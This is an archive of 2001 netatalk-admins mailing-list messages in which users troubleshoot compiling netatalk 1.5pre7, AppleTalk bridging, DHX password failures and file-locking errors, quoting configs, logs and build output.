Subject: Re: compilation of 1.5-pre7 on redhat?
Content-Type: text/plain; charset="us-ascii"

>But compilation fails with varying errors on RedHat 7.x using gcc or kgcc.

No luck here too.

I spotted this when running
  $ ./configure --enable-redhat
  [cut]
  enabling redhat-style sysv support
  ./configure: acconfig.h: command not found

The doc/INSTALL file points to the main INSTALL file
which is not included in pre7.tar.gz.

What's the best way to contact developers I wonder.


Axel


From netatalk.administrators-errors@umich.edu  Thu Aug 30 12:52:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA00930
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 12:52:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA14903
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 12:52:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA14875
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 12:52:10 -0400 (EDT)
Received: from vibe.com ([65.105.250.196])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA14839
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 12:52:09 -0400 (EDT)
Received: from [65.105.250.198] (HELO stuarthaasw2k)
  by vibe.com (CommuniGate Pro SMTP 3.4.7)
  with ESMTP-TLS id 386946 for netatalk-admins@umich.edu; Thu, 30 Aug 2001 12:52:15 -0400
Message-ID: <058901c13174$195b0f50$2500a8c0@stuarthaasw2k>
From: "Stuart Haas" <shaas@vibe.com>
To: <netatalk-admins@umich.edu>
References: <3B8E2953.31647230@fcb-wilkens.com> <p0433010bb7b41b995f00@[172.16.172.241]>
Subject: Re: compilation of 1.5-pre7 on redhat?
Date: Thu, 30 Aug 2001 12:52:05 -0400
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Try the developers list netatalk-devel@lists.sourceforge.net


----- Original Message -----
From: "Axel Rose" <rose@sj.com>
To: "Harald Wagener" <hwagener@fcb-wilkens.com>; <netatalk-admins@umich.edu>
Sent: Thursday, August 30, 2001 12:47 PM
Subject: Re: compilation of 1.5-pre7 on redhat?


> >But compilation fails with varying errors on RedHat 7.x using gcc or
kgcc.
>
> No luck here too.
>
> I spotted this when running
>   $ ./configure --enable-redhat
>   [cut]
>   enabling redhat-style sysv support
>   ./configure: acconfig.h: command not found
>
> The doc/INSTALL file points to the main INSTALL file
> which is not included in pre7.tar.gz.
>
> What's the best way to contact developers I wonder.
>
>
> Axel
>
>


From netatalk.administrators-errors@umich.edu  Thu Aug 30 13:55:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02983
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 13:55:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA02191
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 13:55:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02180
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 13:55:53 -0400 (EDT)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA02165
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 13:55:52 -0400 (EDT)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0GIW00M01747GF@asu.edu> for netatalk-admins@umich.edu; Thu,
 30 Aug 2001 10:55:19 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0GIW00KZ7747QY@asu.edu>; Thu,
 30 Aug 2001 10:55:19 -0700 (MST)
Received: from east.la.asu.edu (east.la.asu.edu [129.219.48.26])
	by smtp.asu.edu (8.9.3/8.9.3) with ESMTP id KAA22947; Thu,
 30 Aug 2001 10:55:19 -0700 (MST)
Received: (from emaple@localhost)	by east.la.asu.edu (8.9.3+Sun/8.9.1)
 id KAA25942; Thu, 30 Aug 2001 10:55:17 -0700 (MST)
Date: Thu, 30 Aug 2001 10:55:17 -0700 (MST)
From: Ed Maple <emaple@asu.edu>
Subject: RE: appletalk bridging with netatalk?
To: netatalk-admins@umich.edu, ed_schwartz@iu13.k12.pa.us
Message-id: <200108301755.KAA25942@east.la.asu.edu>
X-Sun-Charset: US-ASCII

Thanks for the quick reply, Ed.

This doesn't seem to have worked though. I still can't see any zones in chooser
on my mac. I created my initial atalkd.conf file with just the entries:
   hme0
   hme1

where hme0 is the outward-facing interface, and hme1 is the inward-facing 
interface. The very first time I started the atalkd daemon it failed to start
unless I removed the hme1 interface. THe hme0 interface was then configured
using network information from the existing appletalk network. Then I could add
hme1 back and successfully restart atalkd. Here's the current atalkd.conf:

hme0 -phase 2 -net nnn -addr nnn.mmm -zone "Moeur_Wilson" -zone "GLG MOEUR" -zon
e "AAD MOEUR 134"
hme1 -phase 2 -net 65280-65534 -addr 65280.193

where nnn is the net number and mmm is the node number (correct? I'm pretty much
and appletalk newbie).

I'm running on a Solaris 8 system acting as a router with just the core
packages.

Any ideas?

Ed Maple

 
> Specify the interfaces in atalkd.conf and netatalk will bridge them
> automatically for you.
> 
> - -------------------------------------------------------------
> |   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
> |     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
> | "We Trills have an expression--at forty, you think you    |
> | know everything.  At four hundred, you realize you know   |
> |         nothing." - Dax, Star Trek Deep Space 9           |
> - -------------------------------------------------------------
> 
> - -----Original Message-----
> From: Ed Maple [mailto:emaple@asu.edu]
> Sent: Wednesday, August 29, 2001 4:03 PM
> To: netatalk-admins@umich.edu
> Subject: appletalk bridging with netatalk?
> 
> 
> Greetings. Has anyone setup a Solaris-based router to bridge
> appletalk using
> netatalk? Is there a way to do it? I didn't find any information in
> any of the
> web resources I could find.
> 
> Ed Maple
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
> Comment: m00
> 
> iQA/AwUBO41sky6XaAWWzd7UEQKz0QCeLF9w1kY8vaCg2+DT4QwEAotpmbYAnRYf
> u8zmOpP56Ry+xxap2QaETdlr
> =q4Vd
> -----END PGP SIGNATURE-----
> 
> 

From netatalk.administrators-errors@umich.edu  Thu Aug 30 13:55:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02999
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 13:55:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA02200
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 13:55:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02187
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 13:55:53 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA02166
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 13:55:52 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id KAA26307 for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 10:55:52 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 30 Aug 2001 10:55:20 -0700
Subject: Re: Sorry, the password you entered is incorrect. 
	Pleasereenterit.
From: xris <xris@forevermore.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B7B3CC17.A02C%xris@forevermore.net>
In-Reply-To: <000e01c12e96$15dc8470$c8965ecb@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

OK, I just updated to 1.5pre7 today, hoping that it might help my
problem....

I compiled with:

    ./configure --disable-ddp --enable-lastdid --with-tcp-wrappers
    --with-shadow --with-uams-path=/etc/atalk/uams --sysconfdir=/etc/atalk
    --with-config-dir=/etc/atalk --with-msg-dir=/etc/atalk/msg
    --with-ssl-dir=/usr/include/openssl

AppleVolumes.default contains:

    #bunch of comments
    /drive2 "Agni" options:usedots allow:@users
    ~

afpd.conf contains:

    "Agni" -transall -uamlist uams_dhx.so

I'm not using atalkd, just afpd.  No pam, etc...

When I try to log in from my mac, I get:

    Sorry, the password you entered is
    incorrect.  Please reenter it.

I've tried logging in with multiple users, etc, so I know it's not my
password.

Here is my log:

Aug 30 10:43:38 agni afpd[20041]: ASIP started on 127.0.0.1:548(1) (1.5pre7)
Aug 30 10:43:38 agni afpd[20041]: uam: uams_dhx.so loaded
Aug 30 10:43:38 agni afpd[20041]: uam: "DHCAST128" available
Aug 30 10:43:54 agni afpd[20042]: ASIP session:548(1) from 10.0.0.2:50926(0)
Aug 30 10:43:54 agni afpd[20041]: server_child[1] 20042 done
Aug 30 10:44:10 agni afpd[20043]: ASIP session:548(1) from 10.0.0.2:50927(0)
Aug 30 10:44:10 agni afpd[20043]: dhx login: xris
Aug 30 10:44:10 agni afpd[20043]: 0.17KB read, 0.13KB written
Aug 30 10:44:10 agni afpd[20041]: server_child[1] 20043 done
Aug 30 10:44:31 agni afpd[20044]: ASIP session:548(1) from 10.0.0.2:50928(0)
Aug 30 10:44:31 agni afpd[20044]: dhx login: larry
Aug 30 10:44:31 agni afpd[20044]: 0.17KB read, 0.13KB written
Aug 30 10:44:31 agni afpd[20041]: server_child[1] 20044 done
Aug 30 10:44:47 agni afpd[20045]: ASIP session:548(1) from 10.0.0.2:50929(0)
Aug 30 10:44:47 agni afpd[20045]: dhx login: triffan
Aug 30 10:44:47 agni afpd[20045]: 0.18KB read, 0.13KB written
Aug 30 10:44:47 agni afpd[20041]: server_child[1] 20045 done
Aug 30 10:45:53 agni afpd[20041]: shutting down on signal 15

Am I correct in assuming that this is telling me that it's doing everything
that it's supposed to, but just can't find the password?

How do I fix it?  It's really annoying.

I've also noticed a couple of things.  No rc.d/rc.atalk file was created
with the install, and all of the config files have moved from /etc/atalk/ to
/etc/atalk/netatalk/ - not that this makes much of a difference since I just
symlinked my config files to ../afpd.conf (etc.)

Should I be starting afpd with something more than just "afpd"?


From netatalk.administrators-errors@umich.edu  Thu Aug 30 17:18:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA29107
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 17:18:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA01352
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 17:18:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA01335
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 17:18:30 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA01296
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 17:18:28 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id OAA09673; Thu, 30 Aug 2001 14:18:45 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 30 Aug 2001 14:18:11 -0700
Subject: Re: Sorry, the password you entered is incorrect. 
	Pleasereenterit.
From: xris <xris@forevermore.net>
To: Jason Quigley <jasonq@mac.com>, <netatalk-admins@umich.edu>
Message-ID: <B7B3FBA2.A068%xris@forevermore.net>
In-Reply-To: <BC4530CE-9D75-11D5-AA50-000A277D821C@>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> When I compile, I normally add --without-pam to the configure options.
> Try that and see if it helps.

Nope, that didn't help, either.

Is there any chance that someone with a working non-PAM installation could
email me their entire ./configure setup?  Preferably from a slackware
distro, too.

Thanks,

Chris


From netatalk.administrators-errors@umich.edu  Thu Aug 30 19:39:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05251
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 19:39:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA04000
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 19:39:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA03391
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 19:39:02 -0400 (EDT)
Received: from relay.premiera.pl (relay.premiera.pl [213.134.131.199])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA12135
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 18:52:24 -0400 (EDT)
Received: from Marcin (pi17.warszawa.sdi.tpnet.pl [213.25.53.17])
	by relay.premiera.pl (Postfix) with SMTP id AF8E07267
	for <netatalk-admins@umich.edu>; Fri, 31 Aug 2001 00:52:22 +0200 (CEST)
Message-ID: <003b01c131a6$6fa98f80$020a0a0a@bloknet>
From: "Marcin Kandybowicz" <kandyb@premiera.pl>
To: <netatalk-admins@umich.edu>
Subject: netatalk 1.5 pre 7, quark error -54
Date: Fri, 31 Aug 2001 00:52:19 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi,
  So far I heve been using netatalk 1.42+asun  --- and everything works
fine. I decide to upgrade system softwere on server (to rh 7.1) and i also
install netatalk version 1.5pre7... I've got a lot of informations from
users that thay have error -54 (Iocked file ) when they open quark file,
make changes and try to save it. When I configure server to work over tcp
there were much more error with locked files. I cant understend why it
hapends sometimes.
  I chack the WWW for some info and I found that  saveing files without
preview may halp, but it doesn't. The most strange for me is when I open
file I can save if up to ten times and when i try one again I see error -54.
  Also I found the information that the problem was fixed in version 1.5pre3
for guess loging, but in my enviorament I have to dissable guest logging.

I've got one more question --- where is the bast place to get recent version
of netatalk sources ?


Thx, for any sugestions

mkandybo
------------------------------------------
Palm for mobile
Macintosh for productivity
Linux for development
Windows for solitaire



From netatalk.administrators-errors@umich.edu  Thu Aug 30 20:06:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA06113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 20:06:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA22195
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 20:06:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA22192
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 20:06:11 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA22180
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 20:06:10 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id UAA08070
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 20:37:07 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Number of connections one more time
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Thu, 30 Aug 2001 20:06:03 -0400
Message-ID: <1eyyy1m.z5x1yurnqhz4M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 220 days)

Where and how do I control the max connections?

Freebsd 3.2 ( I know,I know, I know...)

I compiled from source: netatalk-1.4b2+asun2.1.3

My /usr/local/atalk looks like this.

drwxr-xr-x  2 root  wheel  512 Aug 26 12:24 bin
drwxr-xr-x  4 root  wheel  512 Aug 26 12:53 etc
drwxr-xr-x  4 root  wheel  512 Aug 26 12:24 include
drwxr-xr-x  2 root  wheel  512 Aug 26 12:24 lib
drwxr-xr-x  6 root  wheel  512 Aug 26 12:24 man

in /usr/local/atalk/etc there is:

-rwxr-xr-x  1 root  wheel  118337 Aug 26 12:24 afpd
-rwxr-xr-x  1 root  wheel   46335 Aug 26 12:24 atalkd
-rw-r--r--  1 root  wheel      85 Aug 26 12:53 atalkd.conf
-rwxr-xr-x  1 root  wheel    1138 Aug 26 12:24 etc2ps
drwxr-xr-x  2 root  wheel     512 Aug 26 12:24 filters
drwxr-xr-x  2 root  wheel     512 Aug 26 12:24 nls
-rwxr-xr-x  1 root  wheel     122 Aug 26 12:24 pagecount.ps
-rwxr-xr-x  1 root  wheel   49440 Aug 26 12:24 papd
-rwxr-xr-x  1 root  wheel    4651 Aug 26 12:24 psa
-rwxr-xr-x  1 root  wheel   11723 Aug 26 12:24 psf
-rwxr-xr-x  1 root  wheel    1102 Aug 26 12:24 rc.atalk

and /usr/local/atalk/etc/rc.atalk looks like this:

#
# AppleTalk daemons. Make sure not to start atalkd in the background:
# its data structures must have time to stablize before running the
# other processes.
#

#
# SUNOS: UNCOMMENT THESE LINES TO LOAD THE KERNEL MODULE.  Note that
# modunload-ing netatalk may cause your machine to panic or hang.
#
##echo -n 'loading netatalk: '
##if [ -f /usr/local/atalk/etc/netatalk.o ]; then
##      /usr/etc/modload -sym /usr/local/atalk/etc/netatalk.o;
##fi

echo -n 'starting appletalk daemons:'
if [ -x /usr/local/atalk/etc/atalkd ]; then
        /usr/local/atalk/etc/atalkd;            echo -n ' atalkd'
fi

if [ -x /usr/local/atalk/bin/nbprgstr ]; then
        /usr/local/atalk/bin/nbprgstr -p 4 `hostname|sed
's/\..*$//'`:Workstatio
n
        /usr/local/atalk/bin/nbprgstr -p 4 `hostname|sed
's/\..*$//'`:netatalk
                                        echo -n ' nbprgstr'
fi

if [ -x /usr/local/atalk/etc/papd ]; then
        /usr/local/atalk/etc/papd;              echo -n ' papd'
fi

if [ -x /usr/local/atalk/etc/afpd ]; then
        /usr/local/atalk/etc/afpd;              echo -n ' afpd'
fi

if [ -x /usr/local/atalk/etc/timelord ]; then
        /usr/local/atalk/etc/timelord;          echo -n ' timelord'
fi

                                        echo '.'




From netatalk.administrators-errors@umich.edu  Thu Aug 30 20:58:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA07977
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 20:58:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA17874
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 20:58:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA17868
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 20:58:07 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id UAA17836
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 20:58:05 -0400 (EDT)
Received: (qmail 4101 invoked from network); 31 Aug 2001 00:57:32 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 31 Aug 2001 00:57:32 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: Sorry, the password you entered is incorrect. Pleasereenterit.
Date: Fri, 31 Aug 2001 10:57:30 +1000
Message-ID: <000c01c131b7$ea3eb980$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <B7B3CC17.A02C%xris@forevermore.net>

update the software on your macintosh. not sure which - i had a similar
problem with a client. i think apple have a site ala "windowsupdate".

-----Original Message-----
From: xris [mailto:xris@forevermore.net]
Sent: Friday, 31 August 2001 03:55
To: netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect.
Pleasereenterit.


OK, I just updated to 1.5pre7 today, hoping that it might help my
problem....

I compiled with:

    ./configure --disable-ddp --enable-lastdid --with-tcp-wrappers
    --with-shadow --with-uams-path=/etc/atalk/uams --sysconfdir=/etc/atalk
    --with-config-dir=/etc/atalk --with-msg-dir=/etc/atalk/msg
    --with-ssl-dir=/usr/include/openssl

AppleVolumes.default contains:

    #bunch of comments
    /drive2 "Agni" options:usedots allow:@users
    ~

afpd.conf contains:

    "Agni" -transall -uamlist uams_dhx.so

I'm not using atalkd, just afpd.  No pam, etc...

When I try to log in from my mac, I get:

    Sorry, the password you entered is
    incorrect.  Please reenter it.

I've tried logging in with multiple users, etc, so I know it's not my
password.

Here is my log:

Aug 30 10:43:38 agni afpd[20041]: ASIP started on 127.0.0.1:548(1) (1.5pre7)
Aug 30 10:43:38 agni afpd[20041]: uam: uams_dhx.so loaded
Aug 30 10:43:38 agni afpd[20041]: uam: "DHCAST128" available
Aug 30 10:43:54 agni afpd[20042]: ASIP session:548(1) from 10.0.0.2:50926(0)
Aug 30 10:43:54 agni afpd[20041]: server_child[1] 20042 done
Aug 30 10:44:10 agni afpd[20043]: ASIP session:548(1) from 10.0.0.2:50927(0)
Aug 30 10:44:10 agni afpd[20043]: dhx login: xris
Aug 30 10:44:10 agni afpd[20043]: 0.17KB read, 0.13KB written
Aug 30 10:44:10 agni afpd[20041]: server_child[1] 20043 done
Aug 30 10:44:31 agni afpd[20044]: ASIP session:548(1) from 10.0.0.2:50928(0)
Aug 30 10:44:31 agni afpd[20044]: dhx login: larry
Aug 30 10:44:31 agni afpd[20044]: 0.17KB read, 0.13KB written
Aug 30 10:44:31 agni afpd[20041]: server_child[1] 20044 done
Aug 30 10:44:47 agni afpd[20045]: ASIP session:548(1) from 10.0.0.2:50929(0)
Aug 30 10:44:47 agni afpd[20045]: dhx login: triffan
Aug 30 10:44:47 agni afpd[20045]: 0.18KB read, 0.13KB written
Aug 30 10:44:47 agni afpd[20041]: server_child[1] 20045 done
Aug 30 10:45:53 agni afpd[20041]: shutting down on signal 15

Am I correct in assuming that this is telling me that it's doing everything
that it's supposed to, but just can't find the password?

How do I fix it?  It's really annoying.

I've also noticed a couple of things.  No rc.d/rc.atalk file was created
with the install, and all of the config files have moved from /etc/atalk/ to
/etc/atalk/netatalk/ - not that this makes much of a difference since I just
symlinked my config files to ../afpd.conf (etc.)

Should I be starting afpd with something more than just "afpd"?



From netatalk.administrators-errors@umich.edu  Fri Aug 31 04:02:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA20885
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 31 Aug 2001 04:02:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA19091
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 31 Aug 2001 04:02:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA19030
	for netatalk.administrators-members@umich.edu; Fri, 31 Aug 2001 04:02:09 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA18938
	for <netatalk-admins@umich.edu>; Fri, 31 Aug 2001 04:02:06 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GIXABV00.IOC; Fri, 31 Aug 2001 10:02:19 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B8F448B.6857EF45@fcb-wilkens.com>
Date: Fri, 31 Aug 2001 10:02:19 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Axel Rose <rose@sj.com>
CC: netatalk-admins@umich.edu
Subject: Re: compilation of 1.5-pre7 on redhat?
References: <3B8E2953.31647230@fcb-wilkens.com> <p0433010bb7b41b995f00@[172.16.172.241]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Axel Rose wrote:
> 
> >But compilation fails with varying errors on RedHat 7.x using gcc or kgcc.
> 
> No luck here too.
> 
> I spotted this when running
>   $ ./configure --enable-redhat
>   [cut]
>   enabling redhat-style sysv support
>   ./configure: acconfig.h: command not found

This particular one is due to misconfiguration of the source or because You
grabbed the initial 
archive that was put on the sf.net page for download. I get the following errors
while compiling:

# make
make  all-recursive
make[1]: Entering directory `/tmp/netatalk-1.5pre7'
Making all in libatalk
make[2]: Entering directory `/tmp/netatalk-1.5pre7/libatalk'
Making all in adouble
make[3]: Entering directory `/tmp/netatalk-1.5pre7/libatalk/adouble'
/bin/sh ../../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I../..     -g
-O2 -I/usr/include -I../../include -I../../sys -I/usr/include
-I/usr/include/openssl -c ad_open.c
rm -f .libs/ad_open.lo
gcc -DHAVE_CONFIG_H -I. -I. -I../.. -g -O2 -I/usr/include -I../../include
-I../../sys -I/usr/include -I/usr/include/openssl -c ad_open.c  -fPIC -DPIC -o
ad_open.o
In file included from ad_open.c:48:
/usr/include/atalk/adouble.h:123:7: warning: extra tokens at end of #else
directive
ad_open.c: In function `ad_open':
ad_open.c:609: structure has no member named `ad_refcount'
make[3]: *** [ad_open.lo] Error 1
make[3]: Leaving directory `/tmp/netatalk-1.5pre7/libatalk/adouble'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/tmp/netatalk-1.5pre7/libatalk'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/tmp/netatalk-1.5pre7'
make: *** [all-recursive-am] Error 2


Actually, You can compile using SuSE 7.2  (prof. edition, fresh install) using the
following options

 --enable-redhat --enable-cnid-db --with-tcp-wrappers --with-pkgconfdir=/etc/atalk

and use it on RedHat 7.1  (works on my test machine, haven't put it on our
production server).
 --with-afs does not work, because venus.h and another .h file are missing from
the 
source tree (they're not in CVS either).

Be sure to back up Your configuration files, they _will_ get overwritten by a
'make install'
 
> The doc/INSTALL file points to the main INSTALL file
> which is not included in pre7.tar.gz.

the generic INSTALL is part auf the automake environment and would not help You
much, except get
started on configure. What I miss is an updated doc/INSTALL that explains the
current configure
options added by the netatalk developers...

H.


> What's the best way to contact developers I wonder.
> 
> Axel

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
